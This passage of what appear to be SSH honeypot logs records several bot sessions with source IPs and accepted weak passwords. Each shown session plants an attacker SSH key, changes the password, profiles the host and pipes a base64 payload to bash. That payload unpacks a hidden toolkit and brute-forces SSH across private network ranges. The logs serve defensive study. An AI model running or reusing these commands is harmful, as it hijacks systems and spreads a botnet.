-lh $(which ls)"},{"seq":12,"at":"2026-08-24T20:05:13.931593+00:00","kind":"output","latency_ms":905,"data":"-rwxr-xr-x 1 root root 142K Jan 8 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T20:05:13.996476+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T20:05:13.997087+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T20:05:14.059763+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T20:05:14.060560+00:00","kind":"output","latency_ms":null,"data":" 20:05:14 up 4 days, 16:55, 0 user, load average: 0.1, 0.11, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T20:05:14.125078+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T20:05:14.125632+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T20:05:14.189090+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T20:05:14.189662+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T20:05:14.252381+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T20:05:14.252741+00:00","kind":"output","latency_ms":null,"data":"top - 20:05:14 up 4 days, 16:55, 0 user, load average: 0.1, 0.11, 0.09\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T20:05:14.314948+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T20:05:14.315632+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T20:05:14.378551+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T20:05:14.385871+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T20:05:14.442634+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T20:05:14.443151+00:00","kind":"output","latency_ms":null,"data":"feria"},{"seq":29,"at":"2026-08-24T20:05:14.507021+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T20:05:15.004731+00:00","kind":"output","latency_ms":490,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T20:05:15.062282+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T20:05:15.627668+00:00","kind":"output","latency_ms":566,"data":"24G"},{"seq":33,"at":"2026-08-24T20:05:15.964528+00:00","kind":"input","latency_ms":null,"data":"echo \"feria feria\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T20:05:16.026638+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T20:05:16.189241+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-24T20:05:16.469468+00:00","kind":"output","latency_ms":441,"data":""},{"seq":37,"at":"2026-08-24T20:05:16.657960+00:00","kind":"output","latency_ms":468,"data":"feria feria"},{"seq":38,"at":"2026-08-24T20:05:16.722128+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T20:05:17.292248+00:00","kind":"output","latency_ms":569,"data":""},{"seq":40,"at":"2026-08-24T20:05:17.357076+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T20:05:17.418156+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T20:05:17.961169+00:00","kind":"output","latency_ms":541,"data":"1"},{"seq":43,"at":"2026-08-24T20:05:18.023744+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T20:05:18.489187+00:00","kind":"output","latency_ms":463,"data":"1"},{"seq":45,"at":"2026-08-24T20:05:18.550628+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T20:05:19.186431+00:00","kind":"output","latency_ms":636,"data":""},{"seq":47,"at":"2026-08-24T20:05:26.774124+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T20:05:26.774433+00:00","kind":"output","latency_ms":null,"data":"feria"}],"credentials":[{"username":"feria","password":"feria","method":"password","accepted":true,"tier":"other"}]} {"id":"46ec8e9e-9279-4a6b-b5ea-d2df6efaa50b","name":"windswept-downy-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"121.184.144.232","src_port":55395,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":613,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T19:36:55.316711+00:00","ended_at":"2026-08-24T19:36:55.506740+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3955,"events":[{"seq":1,"at":"2026-08-24T19:36:17.081598+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T19:36:17.692926+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T19:36:23.610750+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T19:36:23.611119+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T19:36:24.223605+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123!@#\\nMG3xNG7fb8Fc\\nMG3xNG7fb8Fc\"|passwd|bash"},{"seq":6,"at":"2026-08-24T19:36:24.833167+00:00","kind":"input","latency_ms":null,"data":"echo \"123!@#\\nMG3xNG7fb8Fc\\nMG3xNG7fb8Fc\\n\"|passwd"},{"seq":7,"at":"2026-08-24T19:36:25.446375+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T19:36:25.446930+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T19:36:26.067541+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T19:36:26.652839+00:00","kind":"output","latency_ms":583,"data":" 15888 2431 11325 1832 0 0"},{"seq":11,"at":"2026-08-24T19:36:27.269916+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T19:36:28.061081+00:00","kind":"output","latency_ms":791,"data":"-rwxr-xr-x 1 root root 142K Mar 11 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T19:36:28.674660+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T19:36:28.675619+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T19:36:29.289765+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T19:36:29.290245+00:00","kind":"output","latency_ms":null,"data":" 19:36:29 up 4 days, 16:26, 0 user, load average: 0.25, 0.28, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T19:36:29.903234+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T19:36:29.904031+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T19:36:30.515722+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T19:36:30.516200+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T19:36:31.130368+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T19:36:31.130853+00:00","kind":"output","latency_ms":null,"data":"top - 19:36:31 up 4 days, 16:26, 0 user, load average: 0.25, 0.28, 0.18\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T19:36:31.741115+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T19:36:31.741747+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T19:36:32.352917+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T19:36:32.353607+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T19:36:32.967648+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T19:36:32.968020+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":29,"at":"2026-08-24T19:36:33.579788+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T19:36:34.745946+00:00","kind":"output","latency_ms":1164,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T19:36:35.358242+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T19:36:35.814644+00:00","kind":"output","latency_ms":457,"data":"24G"},{"seq":33,"at":"2026-08-24T19:36:37.770132+00:00","kind":"input","latency_ms":null,"data":"echo \"user 123!@#\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T19:36:38.382748+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T19:36:38.870563+00:00","kind":"output","latency_ms":488,"data":""},{"seq":36,"at":"2026-08-24T19:36:40.560754+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T19:36:41.055299+00:00","kind":"output","latency_ms":496,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-24T19:36:41.669858+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T19:36:42.325284+00:00","kind":"output","latency_ms":655,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-24T19:36:42.937115+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T19:36:43.548814+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T19:36:44.640074+00:00","kind":"output","latency_ms":1090,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-24T19:36:45.251938+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T19:36:45.769631+00:00","kind":"output","latency_ms":516,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-24T19:36:46.382159+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T19:36:47.158555+00:00","kind":"output","latency_ms":775,"data":""},{"seq":47,"at":"2026-08-24T19:36:55.317653+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T19:36:55.318429+00:00","kind":"output","latency_ms":null,"data":"user"}],"credentials":[{"username":"user","password":"123!@#","method":"password","accepted":true,"tier":"other"}]} {"id":"888b5309-3f8d-4125-8ea4-144dfaf1130b","name":"lunar-gritty-narwhal","protocol":"ssh","channel_kind":"exec","src_ip":"187.35.110.147","src_port":34518,"username":"accounting","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":417,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T19:09:01.642120+00:00","ended_at":"2026-08-24T19:09:01.768877+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4304,"events":[{"seq":1,"at":"2026-08-24T19:08:30.398950+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T19:08:30.812149+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T19:08:35.424956+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T19:08:35.425680+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T19:08:35.848849+00:00","kind":"input","latency_ms":null,"data":"echo -e \"accounting\\nqVUmF3WgETVq\\nqVUmF3WgETVq\"|passwd|bash"},{"seq":6,"at":"2026-08-24T19:08:36.254133+00:00","kind":"input","latency_ms":null,"data":"echo \"accounting\\nqVUmF3WgETVq\\nqVUmF3WgETVq\\n\"|passwd"},{"seq":7,"at":"2026-08-24T19:08:36.668395+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T19:08:36.668827+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T19:08:37.088052+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T19:08:37.761570+00:00","kind":"output","latency_ms":672,"data":" 15888 4102 8791 517 2996 4415"},{"seq":11,"at":"2026-08-24T19:08:38.179547+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T19:08:38.789556+00:00","kind":"output","latency_ms":609,"data":"lrwxrwxrwx 1 root root 7 Apr 18 2026 /usr/bin/ls -> /bin/ls"},{"seq":13,"at":"2026-08-24T19:08:39.208123+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T19:08:39.209521+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T19:08:39.627753+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T19:08:39.628711+00:00","kind":"output","latency_ms":null,"data":" 19:08:39 up 4 days, 15:58, 0 user, load average: 0.2, 0.14, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T19:08:40.041102+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T19:08:40.041758+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T19:08:40.459461+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T19:08:40.459907+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T19:08:40.878215+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T19:08:40.878885+00:00","kind":"output","latency_ms":null,"data":"top - 19:08:40 up 4 days, 15:58, 0 user, load average: 0.2, 0.14, 0.17\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T19:08:41.297445+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T19:08:41.298005+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T19:08:41.712409+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T19:08:41.712949+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T19:08:42.129274+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T19:08:42.129968+00:00","kind":"output","latency_ms":null,"data":"accounting"},{"seq":29,"at":"2026-08-24T19:08:42.546991+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T19:08:43.435403+00:00","kind":"output","latency_ms":888,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T19:08:43.854944+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T19:08:44.320375+00:00","kind":"output","latency_ms":465,"data":"24G"},{"seq":33,"at":"2026-08-24T19:08:45.838096+00:00","kind":"input","latency_ms":null,"data":"echo \"accounting accounting\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T19:08:46.252753+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T19:08:46.859504+00:00","kind":"output","latency_ms":605,"data":""},{"seq":36,"at":"2026-08-24T19:08:47.701264+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T19:08:48.502997+00:00","kind":"output","latency_ms":801,"data":"{\"session\":\"muck-out\",\"pid\":24819,\"state\":\"running\",\"target\":\"brumby\",\"notes\":\"cron feed-cycle.timer next=2026-08-24T19:30:00Z\"}"},{"seq":38,"at":"2026-08-24T19:08:48.917229+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T19:08:49.543267+00:00","kind":"output","latency_ms":625,"data":"{\"session\":\"muck-out\",\"pid\":24819,\"state\":\"running\",\"target\":\"brumby\",\"notes\":\"cron feed-cycle.timer next=2026-08-24T19:30:00Z\"}"},{"seq":40,"at":"2026-08-24T19:08:49.957677+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T19:08:50.374854+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T19:08:51.364507+00:00","kind":"output","latency_ms":988,"data":"{\"session\":\"muck-out\",\"pid\":24819,\"state\":\"running\",\"target\":\"brumby\",\"notes\":\"cron feed-cycle.timer next=2026-08-24T19:30:00Z\"}"},{"seq":43,"at":"2026-08-24T19:08:51.781818+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T19:08:52.491481+00:00","kind":"output","latency_ms":708,"data":"{\"session\":\"muck-out\",\"pid\":24819,\"state\":\"running\",\"target\":\"brumby\",\"notes\":\"cron feed-cycle.timer next=2026-08-24T19:30:00Z\"}"},{"seq":45,"at":"2026-08-24T19:08:52.909103+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T19:08:53.496688+00:00","kind":"output","latency_ms":587,"data":""},{"seq":47,"at":"2026-08-24T19:09:01.643073+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T19:09:01.643395+00:00","kind":"output","latency_ms":null,"data":"accounting"}],"credentials":[{"username":"accounting","password":"accounting","method":"password","accepted":true,"tier":"other"}]} {"id":"67d5f6ce-be29-48d2-a412-7fdabda56506","name":"solemn-leafy-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"87.106.29.151","src_port":41442,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T19:09:01.160303+00:00","ended_at":"2026-08-24T19:09:01.247837+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4113,"events":[{"seq":1,"at":"2026-08-24T19:08:34.295055+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T19:08:34.618406+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 